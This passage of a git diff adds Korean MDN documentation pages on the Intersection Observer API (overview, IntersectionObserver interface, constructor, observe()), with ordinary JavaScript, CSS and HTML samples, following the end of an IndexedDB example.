+    // the result of the Object Store Deletion Operation algorithm is
+    // undefined, so it's not possible to know if some records were actually
+    // deleted by looking at the request result.
+    var req = store.get(key);
+    req.onsuccess = function(evt) {
+      var record = evt.target.result;
+      console.log("record:", record);
+      if (typeof record == 'undefined') {
+        displayActionFailure("No matching record found");
+        return;
+      }
+      // Warning: The exact same key used for creation needs to be passed for
+      // the deletion. If the key was a Number for creation, then it needs to
+      // be a Number for deletion.
+      req = store.delete(key);
+      req.onsuccess = function(evt) {
+        console.log("evt:", evt);
+        console.log("evt.target:", evt.target);
+        console.log("evt.target.result:", evt.target.result);
+        console.log("delete successful");
+        displayActionSuccess("Deletion successful");
+        displayPubList(store);
+      };
+      req.onerror = function (evt) {
+        console.error("deletePublication:", evt.target.errorCode);
+      };
+    };
+    req.onerror = function (evt) {
+      console.error("deletePublication:", evt.target.errorCode);
+    };
+  }
+
+  function displayActionSuccess(msg) {
+    msg = typeof msg != 'undefined' ? "Success: " + msg : "Success";
+    $('#msg').html('<span class="action-success">' + msg + '</span>');
+  }
+  function displayActionFailure(msg) {
+    msg = typeof msg != 'undefined' ? "Failure: " + msg : "Failure";
+    $('#msg').html('<span class="action-failure">' + msg + '</span>');
+  }
+  function resetActionStatus() {
+    console.log("resetActionStatus ...");
+    $('#msg').empty();
+    console.log("resetActionStatus DONE");
+  }
+
+  function addEventListeners() {
+    console.log("addEventListeners");
+
+    $('#register-form-reset').click(function(evt) {
+      resetActionStatus();
+    });
+
+    $('#add-button').click(function(evt) {
+      console.log("add ...");
+      var title = $('#pub-title').val();
+      var biblioid = $('#pub-biblioid').val();
+      if (!title || !biblioid) {
+        displayActionFailure("Required field(s) missing");
+        return;
+      }
+      var year = $('#pub-year').val();
+      if (year != '') {
+        // Better use Number.isInteger if the engine has EcmaScript 6
+        if (isNaN(year))  {
+          displayActionFailure("Invalid year");
+          return;
+        }
+        year = Number(year);
+      } else {
+        year = null;
+      }
+
+      var file_input = $('#pub-file');
+      var selected_file = file_input.get(0).files[0];
+      console.log("selected_file:", selected_file);
+      // Keeping a reference on how to reset the file input in the UI once we
+      // have its value, but instead of doing that we rather use a "reset" type
+      // input in the HTML form.
+      //file_input.val(null);
+      var file_url = $('#pub-file-url').val();
+      if (selected_file) {
+        addPublication(biblioid, title, year, selected_file);
+      } else if (file_url) {
+        addPublicationFromUrl(biblioid, title, year, file_url);
+      } else {
+        addPublication(biblioid, title, year);
+      }
+
+    });
+
+    $('#delete-button').click(function(evt) {
+      console.log("delete ...");
+      var biblioid = $('#pub-biblioid-to-delete').val();
+      var key = $('#key-to-delete').val();
+
+      if (biblioid != '') {
+        deletePublicationFromBib(biblioid);
+      } else if (key != '') {
+        // Better use Number.isInteger if the engine has EcmaScript 6
+        if (key == '' || isNaN(key))  {
+          displayActionFailure("Invalid key");
+          return;
+        }
+        key = Number(key);
+        deletePublication(key);
+      }
+    });
+
+    $('#clear-store-button').click(function(evt) {
+      clearObjectStore();
+    });
+
+    var search_button = $('#search-list-button');
+    search_button.click(function(evt) {
+      displayPubList();
+    });
+
+  }
+
+  openDb();
+  addEventListeners();
+
+})(); // Immediately-Invoked Function Expression (IIFE)
+ +

{{ LiveSampleLink('Full_IndexedDB_example', "Test the online live demo") }}

+ +

See also

+ +

Further reading for you to find out more information if desired.

+ +

Reference

+ + + +

Tutorials and guides

+ + + +

Libraries

+ + diff --git a/files/ko/web/api/intersection_observer_api/index.html b/files/ko/web/api/intersection_observer_api/index.html new file mode 100644 index 0000000000..b8b7af4cce --- /dev/null +++ b/files/ko/web/api/intersection_observer_api/index.html @@ -0,0 +1,598 @@ +--- +title: Intersection Observer API +slug: Web/API/Intersection_Observer_API +translation_of: Web/API/Intersection_Observer_API +--- +
{{DefaultAPISidebar("Intersection Observer API")}}
+ +

Intersection Observer API는 타겟 요소와 상위 요소 또는 최상위 document 의 {{Glossary("viewport")}} 사이의 intersection 내의 변화를 비동기적으로 관찰하는 방법입니다.

+ +

역사적으로 요소의 가시성이나 두 요소의 상대적인 가시성을 탐지하는 것은 어려운 일이었습니다. 일반적으로 알려진 해결방법은 신뢰성이 부족하고 브라우저나 사이트에 부하를 주기때문에 좋지 못한 사용자 경험을 낳습니다. 웹이 성숙함에따라 이러한 정보의 필요성은 커졌습니다. intersection 정보는 아래와 같은 여러가지 이유 때문에 필요합니다:

+ + + +

과거에 intersection 감지를 구현하면 영향을 받는 모든 요소를 알기 위해서 {{domxref("Element.getBoundingClientRect()")}}와 같은 메서드를 호출하는 여러 이벤트 핸들러와 루프가 얽혀있었습니다. 모든 코드가 메인 스레드에서 실행되기 때문에, 이 중 하나라도 성능 문제를 일으킬 수 있습니다. 사이트가 이러한 테스트들과 함께 로드되면 상황이 더욱 나빠질 수 있습니다.

+ +

infinite-scroll이 구현된 웹 페이지를 생각해보십시오. 공급 업체가 제공하는 라이브러리를 사용하여 페이지 전체에 주기적으로 배치되는 광고를 관리하고 여기저기 애니메이션 그래픽이 있으며 알림 상자 등을 그리는 사용자 라이브러리를 사용합니다. 요소들 각각은 자신만의 교차 감지 루틴이 존재하고 이 모든 것들은 메인 스레드 위에서 동작합니다. 

+ +

웹 페이지의 작성자는 사용중인 두 라이브러리의 내부 동작을 거의 알지 못하므로 이러한 일이 발생하는 것을 알지 못할 수도 있습니다. 사용자가 페이지를 스크롤할 때, 이러한 교차 탐지 루틴은 스크롤 처리 코드 중에 반복적으로 실행되므로 사용자는 브라우저, 웹사이트 및 컴퓨터에 좌절감을 느끼게 됩니다.

+ +

Intersection Observer API 는 그들이 감시하고자 하는 요소가 다른 요소({{Glossary("viewport")}})에 들어가거나 나갈때 또는 요청한 부분만큼 두 요소의 교차부분이 변경될 때 마다 실행될 콜백 함수를 등록할 수 있게 합니다. 즉, 사이트는 요소의 교차를 지켜보기 위해 메인 스레드를 사용할 필요가 없어지고 브라우저는 원하는 대로 교차 영역 관리를 최적화 할 수 있습니다.

+ +

정확히 몇 픽셀이 겹쳐졌고 어떠한 픽셀이 겹쳐졌는지 Intersection Observer API 가 알려줄 수 없습니다. 그러나 "N% 정도 교차하는 경우 상호작용이 이루어져야한다." 와 같은 더 일반적인 사용 사례를 다룰 수 있습니다.

+ +

Intersection observer 의 컨셉과 사용

+ +

Intersection Observer API는 다음과 같은 상황에 호출되는 콜백을 생성하는 기능을 제공합니다:

+ +

(1) 대상(target) 으로 칭하는 요소가 기기 뷰포트나 특정 요소(이 API에서 이를 root 요소 혹은 root로 칭함)와 교차함.

+ +

(2) observer가 최초로 타겟을 관측하도록 요청받을 때마다.

+ +

일반적으로, 당신은 요소의 교차성이 가장 가까운 스크롤 가능한 조상에 의해 변경되길 원할 것입니다(혹은 대상 요소가 다른 요소의 자손이 아니라면 뷰포트에 의해 변경될 수 있을 것입니다). document의 루트 요소를 기준으로 해당 요소를 관측하기 위해서는 null을 설정하세요.

+ +

당신이 뷰포트 혹은 다른 요소를 root로 사용하건 간에, 이 API는 같은 방식으로 동작합니다. 대상 요소의 가시성이 변경될 때마다 당신이 등록한 콜백 함수를 실행하며, 그것은 당신이 원하는 만큼 root 요소와 교차합니다.

+ +

root 와 대상 요소가 교차하는 정도를 intersection ratio 라고 합니다. 이것은 대상 요소의 가시성 퍼센티지를 0.0~1.0의 숫자로 표현합니다.

+ +

intersection observer 생성하기

+ +

intersection observer를 생성하기 위해서는 생성자 호출 시 콜백 함수를 제공해야 합니다. 이 콜백 함수는 threshold가 한 방향 혹은 다른 방향으로 교차할 때 실행됩니다.

+ +
let options = {
+  root: document.querySelector('#scrollArea'),
+  rootMargin: '0px',
+  threshold: 1.0
+}
+
+let observer = new IntersectionObserver(callback, options);
+
+ +

threshold: 1.0 은 대상 요소가 root 에 지정된 요소 내에서 100% 보여질 때 콜백이 호출될 것을 의미합니다.

+ +

Intersection observer 설정

+ +

{{domxref("IntersectionObserver.IntersectionObserver", "IntersectionObserver()")}} 생성자에 전달되는 options 객체는 observer 콜백이 호출되는 상황을 조작할 수 있습니다. 이는 아래와 같은 필드를 가집니다:

+ +
+
root
+
대상 객체의 가시성을 확인할 때 사용되는 뷰포트 요소입니다. 이는 대상 객체의 조상 요소여야 합니다. 기본값은 브라우저 뷰포트이며, root 값이 null 이거나 지정되지 않을 때 기본값으로 설정됩니다.
+
rootMargin
+
root 가 가진 여백입니다. 이 속성의 값은 CSS의 {{cssxref("margin")}} 속성과 유사합니다. e.g. "10px 20px 30px 40px" (top, right, bottom, left). 이 값은 퍼센티지가 될 수 있습니다. 이것은 root 요소의 각 측면의 bounding box를 수축시키거나 증가시키며, 교차성을 계산하기 전에 적용됩니다. 기본값은 0입니다.
+
threshold
+
observer의 콜백이 실행될 대상 요소의 가시성 퍼센티지를 나타내는 단일 숫자 혹은 숫자 배열입니다. 만일 50%만큼 요소가 보여졌을 때를 탐지하고 싶다면, 값을 0.5로 설정하면 됩니다. 혹은 25% 단위로 요소의 가시성이 변경될 때마다 콜백이 실행되게 하고 싶다면 [0, 0.25, 0.5, 0.75, 1] 과 같은 배열을 설정하세요.
+ 기본값은 0이며(이는 요소가 1픽셀이라도 보이자 마자 콜백이 실행됨을 의미합니다). 1.0은 요소의 모든 픽셀이 화면에 노출되기 전에는 콜백을 실행시키지 않음을 의미합니다.
+
+ +

Targeting an element to be observed

+ +

Once you have created the observer, you need to give it a target element to watch:

+ +
let target = document.querySelector('#listItem');
+observer.observe(target);
+
+// the callback we setup for the observer will be executed now for the first time
+// it waits until we assign a target to our observer (even if the target is currently not visible)
+
+ +

Whenever the target meets a threshold specified for the IntersectionObserver, the callback is invoked. The callback receives a list of {{domxref("IntersectionObserverEntry")}} objects and the observer:

+ +
let callback = (entries, observer) => {
+  entries.forEach(entry => {
+    // Each entry describes an intersection change for one observed
+    // target element:
+    //   entry.boundingClientRect
+    //   entry.intersectionRatio
+    //   entry.intersectionRect
+    //   entry.isIntersecting
+    //   entry.rootBounds
+    //   entry.target
+    //   entry.time
+  });
+};
+
+ +

Be aware that your callback is executed on the main thread. It should operate as quickly as possible; if anything time-consuming needs to be done, use {{domxref("Window.requestIdleCallback()")}}.

+ +

Also, note that if you specified the root option, the target must be a descendant of the root element.

+ +

How intersection is calculated

+ +

All areas considered by the Intersection Observer API are rectangles; elements which are irregularly shaped are considered as occupying the smallest rectangle which encloses all of the element's parts. Similarly, if the visible portion of an element is not rectangular, the element's intersection rectangle is construed to be the smallest rectangle that contains all the visible portions of the element.

+ +

It's useful to understand a bit about how the various properties provided by {{domxref("IntersectionObserverEntry")}} describe an intersection.

+ +

The intersection root and root margin

+ +

Before we can track the intersection of an element with a container, we need to know what that container is. That container is the intersection root, or root element. This can be either a specific element in the document which is an ancestor of the element to be observed, or null to use the document's viewport as the container.

+ +

The root intersection rectangle is the rectangle used to check against the target or targets. This rectangle is determined like this:

+ + + +

The root intersection rectangle can be adjusted further by setting the root margin, rootMargin, when creating the {{domxref("IntersectionObserver")}}. The values in rootMargin define offsets added to each side of the intersection root's bounding box to create the final intersection root bounds (which are disclosed in {{domxref("IntersectionObserverEntry.rootBounds")}} when the callback is executed).

+ +

Thresholds

+ +

Rather than reporting every infinitesimal change in how much a target element is visible, the Intersection Observer API uses thresholds. When you create an observer, you can provide one or more numeric values representing percentages of the target element which are visible. Then, the API only reports changes to visibility which cross these thresholds.

+ +

For example, if you want to be informed every time a target's visibility passes backward or forward through each 25% mark, you would specify the array [0, 0.25, 0.5, 0.75, 1] as the list of thresholds when creating the observer. You can tell which direction the visibility changed in (that is, whether the element became more visible or less visible) by checking the value of the {{domxref("IntersectionObserverEntry.isIntersecting", "isIntersecting")}} property on the {{domxref("IntersectionObserverEntry")}} passed into the callback function at the time of the visibility change. If isIntersecting is true, the target element has become at least as visible as the threshold that was passed. If it's false, the target is no longer as visible as the given threshold.

+ +

To get a feeling for how thresholds work, try scrolling the box below around. Each colored box within it displays the percentage of itself that's visible in all four of its corners, so you can see these ratios change over time as you scroll the container. Each box has a different set of thresholds:

+ + + + + +

{{EmbedLiveSample("Threshold_example", 500, 500)}}

+ +

Clipping and the intersection rectangle

+ +

The browser computes the final intersection rectangle as follows; this is all done for you, but it can be helpful to understand these steps in order to better grasp exactly when intersections will occur.

+ +
    +
  1. The target element's bounding rectangle (that is, the smallest rectangle that fully encloses the bounding boxes of every component that makes up the element) is obtained by calling {{domxref("Element.getBoundingClientRect", "getBoundingClientRect()")}} on the target. This is the largest the intersection rectangle may be. The remaining steps will remove any portions that don't intersect.
  2. +
  3. Starting at the target's immediate parent block and moving outward, each containing block's clipping (if any) is applied to the intersection rectangle. A block's clipping is determined based on the intersection of the two blocks and the clipping mode (if any) specified by the {{cssxref("overflow")}} property. Setting overflow to anything but visible causes clipping to occur.
  4. +
  5. If one of the containing elements is the root of a nested browsing context (such as the document contained in an {{HTMLElement("iframe")}}, the intersection rectangle is clipped to the containing context's viewport, and recursion upward through the containers continues with the container's containing block. So if the top level of an <iframe> is reached, the intersection rectangle is clipped to the frame's viewport, then the frame's parent element is the next block recursed through toward the intersection root.
  6. +
  7. When recursion upward reaches the intersection root, the resulting rectangle is mapped to the intersection root's coordinate space.
  8. +
  9. The resulting rectangle is then updated by intersecting it with the root intersection rectangle.
  10. +
  11. This rectangle is, finally, mapped to the coordinate space of the target's {{domxref("document")}}.
  12. +
+ +

Intersection change callbacks

+ +

When the amount of a target element which is visible within the root element crosses one of the visibility thresholds, the {{domxref("IntersectionObserver")}} object's callback is executed. The callback receives as input an array of all of IntersectionObserverEntry objects, one for each threshold which was crossed, and a reference to the IntersectionObserver object itself.

+ +

Each entry in the list of thresholds is an {{domxref("IntersectionObserverEntry")}} object describing one threshold that was crossed; that is, each entry describes how much of a given element is intersecting with the root element, whether or not the element is considered to be intersecting or not, and the direction in which the transition occurred.

+ +

The code snippet below shows a callback which keeps a counter of how many times elements transition from not intersecting the root to intersecting by at least 75%.

+ +
intersectionCallback(entries) => {
+  entries.forEach(entry => {
+    if (entry.isIntersecting) {
+      let elem = entry.target;
+
+      if (entry.intersectionRatio >= 0.75) {
+        intersectionCounter++;
+      }
+    }
+  });
+}
+
+ +

Interfaces

+ +
+
{{domxref("IntersectionObserver")}}
+
The primary interface for the Intersection Observer API. Provides methods for creating and managing an observer which can watch any number of target elements for the same intersection configuration. Each observer can asynchronously observe changes in the intersection between one or more target elements and a shared ancestor element or with their top-level {{domxref("Document")}}'s {{Glossary('viewport')}}. The ancestor or viewport is referred to as the root.
+
{{domxref("IntersectionObserverEntry")}}
+
Describes the intersection between the target element and its root container at a specific moment of transition. Objects of this type can only be obtained in two ways: as an input to your IntersectionObserver callback, or by calling {{domxref("IntersectionObserver.takeRecords()")}}.
+
+ +

A simple example

+ +

This simple example causes a target element to change its color and transparency as it becomes more or less visible. At Timing element visibility with the Intersection Observer API, you can find a more extensive example showing how to time how long a set of elements (such as ads) are visible to the user and to react to that information by recording statistics or by updating elements..

+ +

HTML

+ +

The HTML for this example is very short, with a primary element which is the box that we'll be targeting (with the creative ID "box") and some contents within the box.

+ +
<div id="box">
+  <div class="vertical">
+    Welcome to <strong>The Box!</strong>
+  </div>
+</div>
+ +

CSS

+ +

The CSS isn't terribly important for the purposes of this example; it lays out the element and establishes that the {{cssxref("background-color")}} and {{cssxref("border")}} attributes can participate in CSS transitions, which we'll use to affect the changes to the element as it becomes more or less obscured.

+ +
#box {
+  background-color: rgba(40, 40, 190, 255);
+  border: 4px solid rgb(20, 20, 120);
+  transition: background-color 1s, border 1s;
+  width: 350px;
+  height: 350px;
+  display: flex;
+  align-items: center;
+  justify-content: center;
+  padding: 20px;
+}
+
+.vertical {
+  color: white;
+  font: 32px "Arial";
+}
+
+.extra {
+  width: 350px;
+  height: 350px;
+  margin-top: 10px;
+  border: 4px solid rgb(20, 20, 120);
+  text-align: center;
+  padding: 20px;
+}
+ +

JavaScript

+ +

Finally, let's take a look at the JavaScript code that uses the Intersection Observer API to make things happen.

+ +

Setting up

+ +

First, we need to prepare some variables and install the observer.

+ +
const numSteps = 20.0;
+
+let boxElement;
+let prevRatio = 0.0;
+let increasingColor = "rgba(40, 40, 190, ratio)";
+let decreasingColor = "rgba(190, 40, 40, ratio)";
+
+// Set things up
+window.addEventListener("load", (event) => {
+  boxElement = document.querySelector("#box");
+
+  createObserver();
+}, false);
+ +

The constants and variables we set up here are:

+ +
+
numSteps
+
A constant which indicates how many thresholds we want to have between a visibility ratio of 0.0 and 1.0.
+
prevRatio
+
This variable will be used to record what the visibility ratio was the last time a threshold was crossed; this will let us figure out whether the target element is becoming more or less visible.
+
increasingColor
+
A string defining a color we'll apply to the target element when the visibility ratio is increasing. The word "ratio" in this string will be replaced with the target's current visibility ratio, so that the element not only changes color but also becomes increasingly opaque as it becomes less obscured.
+
decreasingColor
+
Similarly, this is a string defining a color we'll apply when the visibility ratio is decreasing.
+
+ +

We call {{domxref("EventTarget.addEventListener", "Window.addEventListener()")}} to start listening for the {{event("load")}} event; once the page has finished loading, we get a reference to the element with the ID "box" using {{domxref("Document.querySelector", "querySelector()")}}, then call the createObserver() method we'll create in a moment to handle building and installing the intersection observer.

+ +

Creating the intersection observer

+ +

The createObserver() method is called once page load is complete to handle actually creating the new {{domxref("IntersectionObserver")}} and starting the process of observing the target element.

+ +
function createObserver() {
+  let observer;
+
+  let options = {
+    root: null,
+    rootMargin: "0px",
+    threshold: buildThresholdList()
+  };
+
+  observer = new IntersectionObserver(handleIntersect, options);
+  observer.observe(boxElement);
+}
+ +

This begins by setting up an options object containing the settings for the observer. We want to watch for changes in visibility of the target element relative to the document's viewport, so root is null. We need no margin, so the margin offset, rootMargin, is specified as "0px". This causes the observer to watch for changes in the intersection between the target element's bounds and those of the viewport, without any added (or subtracted) space.

+ +

The list of visibility ratio thresholds, threshold, is constructed by the function buildThresholdList(). The threshold list is built programmatically in this example since there are a number of them and the number is intended to be adjustable.

+ +

Once options is ready, we create the new observer, calling the {{domxref("IntersectionObserver.IntersectionObserver", "IntersectionObserver()")}} constructor, specifying a function to be called when intersection crosses one of our thresholds, handleIntersect(), and our set of options. We then call {{domxref("IntersectionObserver.observe", "observe()")}} on the returned observer, passing into it the desired target element.

+ +

We could opt to monitor multiple elements for visibility intersection changes with respect to the viewport by calling observer.observe() for each of those elements, if we wanted to do so.

+ +

Building the array of threshold ratios

+ +

The buildThresholdList() function, which builds the list of thresholds, looks like this:

+ +
function buildThresholdList() {
+  let thresholds = [];
+  let numSteps = 20;
+
+  for (let i=1.0; i<=numSteps; i++) {
+    let ratio = i/numSteps;
+    thresholds.push(ratio);
+  }
+
+  thresholds.push(0);
+  return thresholds;
+}
+ +

This builds the array of thresholds—each of which is a ratio between 0.0 and 1.0, by pushing the value i/numSteps onto the thresholds array for each integer i between 1 and numSteps. It also pushes 0 to include that value. The result, given the default value of numSteps (20), is the following list of thresholds:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
#Ratio#Ratio
10.05110.55
20.1120.6
30.15130.65
40.2140.7
50.25150.75
60.3160.8
70.35170.85
80.4180.9
90.45190.95
100.5201.0
+ +

We could, of course, hard-code the array of thresholds into our code, and often that's what you'll end up doing. But this example leaves room for adding configuration controls to adjust the granularity, for example.

+ +

Handling intersection changes

+ +

When the browser detects that the target element (in our case, the one with the ID "box") has been unveiled or obscured such that its visibility ratio crosses one of the thresholds in our list, it calls our handler function, handleIntersect():

+ +
function handleIntersect(entries, observer) {
+  entries.forEach((entry) => {
+    if (entry.intersectionRatio > prevRatio) {
+      entry.target.style.backgroundColor = increasingColor.replace("ratio", entry.intersectionRatio);
+    } else {
+      entry.target.style.backgroundColor = decreasingColor.replace("ratio", entry.intersectionRatio);
+    }
+
+    prevRatio = entry.intersectionRatio;
+  });
+}
+ +

For each {{domxref("IntersectionObserverEntry")}} in the list entries, we look to see if the entry's {{domxref("IntersectionObserverEntry.intersectionRatio", "intersectionRatio")}} is going up; if it is, we set the target's {{cssxref("background-color")}} to the string in increasingColor (remember, it's "rgba(40, 40, 190, ratio)"), replaces the word "ratio" with the entry's intersectionRatio. The result: not only does the color get changed, but the transparency of the target element changes, too; as the intersection ratio goes down, the background color's alpha value goes down with it, resulting in an element that's more transparent.

+ +

Similarly, if the intersectionRatio is going down, we use the string decreasingColor and replace the word "ratio" in that with the intersectionRatio before setting the target element's background-color.

+ +

Finally, in order to track whether the intersection ratio is going up or down, we remember the current ratio in the variable prevRatio.

+ +

Result

+ +

Below is the resulting content. Scroll this page up and down and notice how the appearance of the box changes as you do so.

+ +

{{EmbedLiveSample('A_simple_example', 400, 400)}}

+ +

There's an even more extensive example at Timing element visibility with the Intersection Observer API.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('IntersectionObserver')}}{{Spec2('IntersectionObserver')}}
+ +

Browser compatibility

+ + + +

{{Compat("api.IntersectionObserver")}}

+ +

See also

+ + diff --git a/files/ko/web/api/intersectionobserver/index.html b/files/ko/web/api/intersectionobserver/index.html new file mode 100644 index 0000000000..762fd3ac09 --- /dev/null +++ b/files/ko/web/api/intersectionobserver/index.html @@ -0,0 +1,97 @@ +--- +title: IntersectionObserver +slug: Web/API/IntersectionObserver +tags: + - API + - Experimental + - Interface + - Intersection Observer API + - IntersectionObserver + - NeedsTranslation + - Reference + - TopicStub + - observers +translation_of: Web/API/IntersectionObserver +--- +
{{APIRef("Intersection Observer API")}}
+ +

Intersection Observer API 의 IntersectionObserver 인터페이스는 대상 요소와 그 상위 요소 혹은 최상위 도큐먼트인 {{Glossary('viewport')}}와의 교차 영역에 대한 변화를 비동기적으로 감지할 수 있도록 도와줍니다.

+ +

 IntersectionObserver 가 생성되면, 루트 내에서 설정된 비율 만큼의 가시성을 계속 감시하도록 설정됩니다. 한번 생성되고 나면, 설정 값은 변경될 수 없으므로, 생성된 감시자 객체는 가시성 정도의 변화를 감시하는 데에만 쓰일 수 있습니다. 하지만 동일한 감시자 객체로 여러 대상 요소를 감시할 수 있습니다.

+ +

Constructor

+ +
+
{{domxref("IntersectionObserver.IntersectionObserver()")}}
+
IntersectionObserver 객체를 생성합니다. 해당 객체는 대상 요소의 가시성이 하나 이상의 설정된 정도 값을 넘을 경우 주어진 콜백 함수를 실행합니다.
+
+ +

Properties

+ +
+
{{domxref("IntersectionObserver.root")}} {{readonlyinline}}
+
대상 요소 ({{domxref("element")}}) 를 감시할 상위 요소. 값을 넣지 않거나 null 일 경우, 최상위 문서의 뷰포트가 사용된다.
+
{{domxref("IntersectionObserver.rootMargin")}} {{readonlyinline}}
+
교차 정도를 계산할 때 루트의 {{Glossary('bounding box')}} 에 적용되는 offset 사각형으로, 루트의 범위를 효과적으로 늘리거나 줄입니다. 이 특성이 반환한 값은, 생성자를 호출 할 때 내부 요구 사항에 맞게 변경 될 수 있으므로 지정된 값과 같지 않을 수 있습니다. 각 offset 은 픽셀(px) 혹은 퍼센트(%)로 표기될 수 있습니다. 기본 값은 "0px 0px 0px 0px" 입니다.
+
{{domxref("IntersectionObserver.thresholds")}} {{readonlyinline}}
+
임계값 목록. 숫자의 오름차순으로 정렬되며, 각 임계 값은 감시하는 대상의 경계 상자 영역과의 교차 비율입니다. 대상에 대한 알림은 해당 대상에 대한 임계 값이 초과 될 때 생성됩니다. 생성자에 값이 전달되지 않을 경우 0이 사용됩니다.
+
+ +

Methods

+ +
+
{{domxref("IntersectionObserver.disconnect()")}}
+
IntersectionObserver 가 어떤 대상이라도 감시하는 것을 중지합니다.
+
{{domxref("IntersectionObserver.observe()")}}
+
대상 요소에 대한 감시를 시작합니다.
+
{{domxref("IntersectionObserver.takeRecords()")}}
+
모든 감시되는 대상의 배열 ({{domxref("IntersectionObserverEntry")}}) 을 리턴합니다.
+
{{domxref("IntersectionObserver.unobserve()")}}
+
특정 대상 요소를 감시하는 것을 중지합니다.
+
+ +

Examples

+ +
var intersectionObserver = new IntersectionObserver(function(entries) {
+  // If intersectionRatio is 0, the target is out of view
+  // and we do not need to do anything.
+  if (entries[0].intersectionRatio <= 0) return;
+
+  loadItems(10);
+  console.log('Loaded new items');
+});
+// start observing
+intersectionObserver.observe(document.querySelector('.scrollerFooter'));
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("IntersectionObserver", "#intersection-observer-interface", "IntersectionObserver")}}{{Spec2('IntersectionObserver')}}
+ +

Browser compatibility

+ + + +

{{Compat("api.IntersectionObserver")}}

+ +

See also

+ + diff --git a/files/ko/web/api/intersectionobserver/intersectionobserver/index.html b/files/ko/web/api/intersectionobserver/intersectionobserver/index.html new file mode 100644 index 0000000000..6f89828d16 --- /dev/null +++ b/files/ko/web/api/intersectionobserver/intersectionobserver/index.html @@ -0,0 +1,87 @@ +--- +title: IntersectionObserver.IntersectionObserver() +slug: Web/API/IntersectionObserver/IntersectionObserver +tags: + - API + - Constructor + - Intersection Observer API + - IntersectionObserver + - Reference +translation_of: Web/API/IntersectionObserver/IntersectionObserver +--- +
{{APIRef("Intersection Observer API")}}
+ +

IntersectionObserver() 생성자는 새로운 {{domxref("IntersectionObserver")}} 객체를 생성하고 반환합니다. rootMargin 옵션을 지정했다면 값의 구문이 맞는지, 범위가 0.0 이상 1.0 이하인지, 그리고 역치가 오름차순으로 정렬됐는지 검사합니다. 역치 목록이 없다면 배열 [0.0]을 사용합니다.

+ +

구문

+ +
new IntersectionObserver(callback[, options]);
+ +

매개변수

+ +
+
callback
+
대상 요소의 화면에 보이는 부분 백분율이 역치보다 클 때 호출할 함수입니다. 다음의 두 매개변수를 받습니다. +
+
entries
+
더 보이거나 덜 보이게 되면서 통과한 역치를 나타내는, {{domxref("IntersectionObserverEntry")}} 객체의 배열.
+
observer
+
자신을 호출한 {{domxref("IntersectionObserver")}}.
+
+
+
options {{optional_inline}}
+
옵저버를 조정할 수 있는 옵션 객체. 지정하지 않는다면 옵저버는 문서의 뷰포트를 루트로 사용하고, 여백은 없이, 역치는 0(1픽셀이라도 변하면 콜백을 호출)이 됩니다. 아래 옵션을 자유롭게 지정할 수 있습니다. +
+
root
+
대상 요소의 조상인 {{domxref ( "Element")}} 객체는 경계 사각형이 뷰포트로 간주됩니다. 루트의 가시 영역에 보이지 않는 대상의 어떤 부분도 가시적 인 것으로 간주되지 않습니다.
+
rootMargin
+
교차점을 계산할 때, 계산 목적으로 루트를 줄이거나 늘리는 경우, 루트의 {{Glossary ( 'bounding_box')}}에 추가 할 오프셋 세트를 지정하는 문자열입니다. 구문은 CSS {{cssxref ( "margin")}} 속성의 구문과 거의 동일합니다. 여백의 작동 방식 및 구문에 대한 자세한 내용은 {{SectionOnPage("/en-US/docs/Web/API/Intersection_Observer_API", "The root element and root margin")}}을 참조하십시오. 기본 설정은 "0px 0px 0px 0px"입니다.
+
+
threshold
+
관측 대상에 대한 전체 상자 영역(루트)에 대한 교차 영역의 비율을 지정하며, 0.0과 1.0 사이의 숫자 하나 혹은 숫자 배열입니다. 0.0 값은 대상의 단일 픽셀이라도 보여지면, 대상이 보이는 것으로 계산되는 것을 의미합니다. 1.0은 전체 대상 요소가 표시됨을 의미합니다. 임계 값 사용 방법에 대한 자세한 설명은 {{SectionOnPage("/en-US/docs/Web/API/Intersection_Observer_API", "Thresholds")}}를 참조하십시오. 기본값은 0.0입니다.
+
+
+
+ +

반환 값

+ +

지정된 가시성 threshold 를 통해 지정된 root 내에서 대상 요소의 가시성을 감시하는 데 사용할 수있는 {{domxref ( "IntersectionObserver")}} 인스턴스가 반환됩니다. {{domxref ( "IntersectionObserver.observe", "observe()")}} 메소드를 호출하여 지정된 대상의 가시성 변경을 관찰하십시오.

+ +

예외

+ +
+
SyntaxError
+
설정된 rootMargin 이 유효하지 않은 경우.
+
RangeError
+
하나 혹은 그 이상의 threshold 가 0.0 - 1.0 사이가 아닌 경우
+
+ +

예제

+ +

아래는 요소의 보여지는 부분이 10% 가 넘거나 작아질 때  myObserverCallback 를 호출하는 새로운 intersection observer 를 생성하는 예제입니다.

+ +
let observer = new IntersectionObserver(myObserverCallback,
+                   {"threshold": 0.1});
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('IntersectionObserver','#dom-intersectionobserver-intersectionobserver','IntersectionObserver constructor')}}{{Spec2('IntersectionObserver')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.IntersectionObserver.IntersectionObserver")}}

diff --git a/files/ko/web/api/intersectionobserver/observe/index.html b/files/ko/web/api/intersectionobserver/observe/index.html new file mode 100644 index 0000000000..5ceefe8d77 --- /dev/null +++ b/files/ko/web/api/intersectionobserver/observe/index.html @@ -0,0 +1,65 @@ +--- +title: IntersectionObserver.observe() +slug: Web/API/IntersectionObserver/observe +translation_of: Web/API/IntersectionObserver/observe +--- +
{{APIRef("Intersection Observer API")}}{{SeeCompatTable}}
+ +

The {{domxref("IntersectionObserver")}} observe() 메서드는 IntersectionObserver 객체가 관찰할 엘리먼트 목록에 단일 엘리먼트를 추가합니다. 하나의 옵저버 객체는 단일한 threshold와 root를 가지지만 복수의 타겟 엘리먼트의 가시성 변화를 관찰할 수 있습니다. 만일 엘리먼트 관찰을 중지하고 싶다면 {{domxref("IntersectionObserver.unobserve()")}} 메서드를 호출하세요.

+ +

특정 엘리먼트의 가시성이 다른 옵저버의 가시성 threshold와 교차할 때({{domxref("IntersectionObserver.thresholds")}} 참조), 옵저버 콜백은 발생한 교차성 변경을 알리는 {{domxref("IntersectionObserverEntry")}} 객체와 함께 실행됩니다.

+ +

노트. 이 디자인은 복수 엘리먼트의 교차성 변경이 하나의 콜백 실행을 통해 처리되는 것을 허용합니다.

+ +

문법

+ +
IntersectionObserver.observe(targetElement);
+ +

Parameters

+ +
+
targetElement
+
